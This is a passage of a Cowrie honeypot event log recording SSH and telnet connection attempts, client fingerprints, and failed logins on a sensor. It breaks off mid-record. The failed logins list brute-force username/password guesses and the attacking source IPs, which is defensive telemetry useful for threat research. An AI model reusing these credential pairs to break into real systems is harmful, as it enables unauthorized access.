{"eventid":"cowrie.login.failed","username":"test","password":"1234567890","message":"login attempt [test/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:02.558909Z","src_ip":"41.86.34.139","session":"524c1cffc526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:03.769242Z","src_ip":"41.86.34.139","session":"524c1cffc526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":35146,"dst_ip":"10.17.0.5","dst_port":22,"session":"218633a5b326","protocol":"ssh","message":"New connection: 190.244.39.232:35146 (10.17.0.5:22) [session: 218633a5b326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:14.746428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:14.756385Z","src_ip":"190.244.39.232","session":"218633a5b326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:14.954211Z","src_ip":"190.244.39.232","session":"218633a5b326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"superuser","message":"login attempt [admin/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:15.748890Z","src_ip":"190.244.39.232","session":"218633a5b326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:16.954375Z","src_ip":"190.244.39.232","session":"218633a5b326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56356,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c494fb3ad8","protocol":"telnet","message":"New connection: 185.26.126.47:56356 (159.203.135.109:23) [session: 25c494fb3ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:24.539913Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58250,"dst_ip":"159.203.135.109","dst_port":23,"session":"068a9589e7ab","protocol":"telnet","message":"New connection: 185.26.126.47:58250 (159.203.135.109:23) [session: 068a9589e7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:27.551216Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":59970,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5b7ed73cbc4","protocol":"ssh","message":"New connection: 186.4.240.226:59970 (10.17.0.5:22) [session: d5b7ed73cbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:30.168608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:30.175560Z","src_ip":"186.4.240.226","session":"d5b7ed73cbc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:30.270824Z","src_ip":"186.4.240.226","session":"d5b7ed73cbc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"omega123","message":"login attempt [root/omega123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:30.648798Z","src_ip":"186.4.240.226","session":"d5b7ed73cbc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:31.740794Z","src_ip":"186.4.240.226","session":"d5b7ed73cbc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37636,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc3cf82a0ea2","protocol":"telnet","message":"New connection: 137.184.155.248:37636 (10.17.0.5:23) [session: fc3cf82a0ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:36.378564Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":39698,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1bf24f706d7","protocol":"ssh","message":"New connection: 72.253.251.7:39698 (159.203.135.109:22) [session: e1bf24f706d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:41.694084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:41.698681Z","src_ip":"72.253.251.7","session":"e1bf24f706d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:41.815875Z","src_ip":"72.253.251.7","session":"e1bf24f706d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"`","message":"login attempt [root/`] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:42.313430Z","src_ip":"72.253.251.7","session":"e1bf24f706d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:43.433338Z","src_ip":"72.253.251.7","session":"e1bf24f706d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":41955,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33fa8966550","protocol":"ssh","message":"New connection: 103.86.180.10:41955 (159.203.135.109:22) [session: b33fa8966550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:45.194473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:45.199976Z","src_ip":"103.86.180.10","session":"b33fa8966550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:45.397176Z","src_ip":"103.86.180.10","session":"b33fa8966550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drcomadmin123","message":"login attempt [root/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:46.218587Z","src_ip":"103.86.180.10","session":"b33fa8966550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:39:47.418714Z","src_ip":"103.86.180.10","session":"b33fa8966550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":56628,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f79ee726a4","protocol":"ssh","message":"New connection: 41.86.34.139:56628 (10.17.0.5:22) [session: c0f79ee726a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:03.579743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:03.597846Z","src_ip":"41.86.34.139","session":"c0f79ee726a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:03.814356Z","src_ip":"41.86.34.139","session":"c0f79ee726a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"games","password":"admin2222","message":"login attempt [games/admin2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:04.679281Z","src_ip":"41.86.34.139","session":"c0f79ee726a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:05.892049Z","src_ip":"41.86.34.139","session":"c0f79ee726a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.60158395767212,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:07.141401Z","src_ip":"185.26.126.47","session":"25c494fb3ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.594234466552734,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:17.145319Z","src_ip":"185.26.126.47","session":"068a9589e7ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.961419343948364,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:19.339868Z","src_ip":"137.184.155.248","session":"fc3cf82a0ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":35208,"dst_ip":"10.17.0.5","dst_port":22,"session":"2702c4bc5988","protocol":"ssh","message":"New connection: 186.4.240.226:35208 (10.17.0.5:22) [session: 2702c4bc5988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:26.258973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:26.264416Z","src_ip":"186.4.240.226","session":"2702c4bc5988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:26.357592Z","src_ip":"186.4.240.226","session":"2702c4bc5988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234.","message":"login attempt [root/Test1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:26.760533Z","src_ip":"186.4.240.226","session":"2702c4bc5988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:28.045859Z","src_ip":"186.4.240.226","session":"2702c4bc5988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57792,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d66c7c86638","protocol":"telnet","message":"New connection: 137.184.155.248:57792 (10.17.0.5:23) [session: 0d66c7c86638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:36.792836Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":57312,"dst_ip":"159.203.135.109","dst_port":22,"session":"b88b68291c24","protocol":"ssh","message":"New connection: 72.253.251.7:57312 (159.203.135.109:22) [session: b88b68291c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:40.777350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:40.782213Z","src_ip":"72.253.251.7","session":"b88b68291c24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:40.899435Z","src_ip":"72.253.251.7","session":"b88b68291c24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sa@123456","message":"login attempt [root/Sa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:41.397344Z","src_ip":"72.253.251.7","session":"b88b68291c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:42.516994Z","src_ip":"72.253.251.7","session":"b88b68291c24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":50202,"dst_ip":"159.203.135.109","dst_port":22,"session":"01668b6273a3","protocol":"ssh","message":"New connection: 103.86.180.10:50202 (159.203.135.109:22) [session: 01668b6273a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:42.852237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:42.856996Z","src_ip":"103.86.180.10","session":"01668b6273a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecds